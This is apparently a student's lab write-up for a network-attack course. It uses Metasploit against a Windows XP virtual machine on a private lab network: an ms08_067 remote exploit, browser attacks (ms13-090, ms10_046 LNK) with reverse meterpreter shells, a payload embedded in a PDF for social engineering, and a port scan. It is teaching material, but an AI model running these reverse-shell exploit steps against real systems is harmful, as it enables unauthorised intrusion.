2019-2020-2 20175316 盛茂淞 《网络对抗技术》 Exp6 MSF基础应用
一.实践原理与说明
实践原理
1、 MSF主要模块:指Metasploit框架中所使用的一段软件代码组件
- 查看六种模块源码目录/usr/share/metasploit-framework/modules
- 渗透攻击模块(Exploit Modules)
- 攻击漏洞,把shellcode"背"过去
- 针对每一个漏洞,写一段攻击代码
- 辅助模块(Auxiliary Modules)
- 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷(Payload Modules)
- 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块(Payload Modules)
- 编码模块(Payload Modules)
- 后渗透攻击模块(Payload Modules)
2、 MSF常用漏洞指令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
基础问题回答
- Q:用自己的话解释什么是exploit,payload,encode.
exploit
:就是利用漏洞,通过后门程序或者恶意代码来攻击漏洞
payload
:有效载荷,payload和load的区别就是,load是载荷,也就是一个恶意程序,可能表面上伪装成有什么正常的功能;而payload是有效载荷,也就是载荷中有效的那部分,最关键的部分,可以说是恶意程序中起决定性作用的那段代码,比如之前的shellcode
encode
:编码或者说是加密,其实加密的本质就是对信息进行编码,主要为了免杀,通过对恶意代码进行编码,使杀软无法利用特征码检测出来
二.实践目标
- 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 1.1一个主动攻击实践,如ms08_067; (1分)
- 1.2 一个针对浏览器的攻击,如ms11_050;(1分)
- 1.3 一个针对客户端的攻击,如Adobe;(1分)
- 1.4 成功应用任何一个辅助模块。(0.5分)
- 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分
三.实践内容与步骤
任务一:主动攻击实践,ms08-067(成功)
- 漏洞描述:ms08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码,可用于进行蠕虫攻击。受影响的系统有 Microsoft Windows 2000、Windows XP 和 Windows Server 2003
- 主机:kali
- IP:192.168.136.128
- 靶机:Windows XP English
- IP:192.168.136.142
首先确保两台机器之间能ping通:
攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.136.142
进入msf,使用search ms08-067
查看漏洞位置
使用use exploit/windows/smb/ms08_067_netapi
选择该漏洞
set payload generic/shell_reverse_tcp
设置攻击的载荷
使用show payloads
查看可用载荷
set RHOSTS 192.168.136.142
设置靶机IP
set LHOSTS 192.168.136.128
设置攻击机IP
exploit
进行攻击
第一次攻击失败,换个端口继续攻击
攻击成功,可用ipconfig/all
命令验证连接结果
任务二:一个针对浏览器的攻击
-
实现:ms13-90(失败)
-
攻击机:kali 192.168.136.128
-
靶机:Windows xp sp3 192.168.136.142
-
进入msf,使用
search ms13_90
查看漏洞位置
-
使用
use exploit/windows/browser/cardspacesigninhelper
选择该漏洞 -
输入
show options
看一下需要设置哪些
-
提示需要设置
-
使用
set SRVHOST 192.168.136.128
设置监听者地址 -
使用
set SRVPORT 8080
设置监听者端口 -
exploit
开始攻击
-
在xp访问该网站,但是msf显示ie不支持,攻击失败
换另一个攻击试试:ms10_46(成功且唯一)
- 使用: use windows/browser/ms10_046_shortcut_icon_dllloader
- 查看一下这个漏洞的作用:
info
- 此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.136.128 //设置监听地址
exploit //进行攻击
- 在靶机用浏览器打开生成的链接:
-
查看会话: sessions
-
选取会话: session -i 1
-
攻击成功,但出现一些乱码,不知道怎么回事
任务三:一个针对客户端的攻击(adobe_pdf_embedded_exe)
-
实现:adobe_pdf_embedded_exe
-
攻击机:kali 192.168.136.128
-
靶机:Windows xp sp3 192.168.136.142
-
使用:
search adobe
查找并选择漏洞
-
漏洞描述:This module embeds a Metasploit payload into an existing PDF file.
The resulting PDF can be sent to a target as part of a social
engineering attack.
-
使用:
use windows/fileformat/adobe_pdf_embedded_exe
使用漏洞 -
payload:
windows/meterpreter/reverse_tcp
-
设置攻击者地址
set LHOST 192.168.136.128
-
设置生成pdf文件
set FILENAME 20175316.pdf
-
攻击
exploit
-
将生成的文件复制之后导入靶机中:cp /root/.msf4/local/20175316.pdf 20175316.pdf
-
在靶机中使用双击打开20175316,没反应,攻击失败
任务四:成功应用任何一个辅助模块(scanner/portscan/tcp成功)
-
实现:scanner/portscan/tcp
-
攻击机:kali 192.168.136.128
-
靶机:Windows xp sp3 192.168.136.142
-
使用:
search auxiliary
查找并选择漏洞
-
输入info来查看这个模块的信息
-
模块描述: Enumerate open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.通过在每个端口上执行完整的TCP连接来枚举打开的TCP服务。这不需要目标计算机上的管理权限。也就是说可以扫描开放的TCP端口
-
设置目标主机的IP
set LHOST 192.168.136.142
-
设线程数为10
set threads 10
-
exploit
-
成功
四.遇到的问题及解决方法
- 问题一:一开始用了win7环境,有漏洞但是主动攻击(ms08_067)无法实现,应该是漏洞被修复了
五.总结心得
- 刘老师为我们讲解了几种不同方式的攻击,还对我们提出了严格的要求。不知道是不是我的电脑原因,能用的模块都是一个一个试出来的,不仅试模块还试虚拟机试软件版本,直到最后成功做了出来,期间电脑还被弄崩了一次,心力交瘁,但是收获很多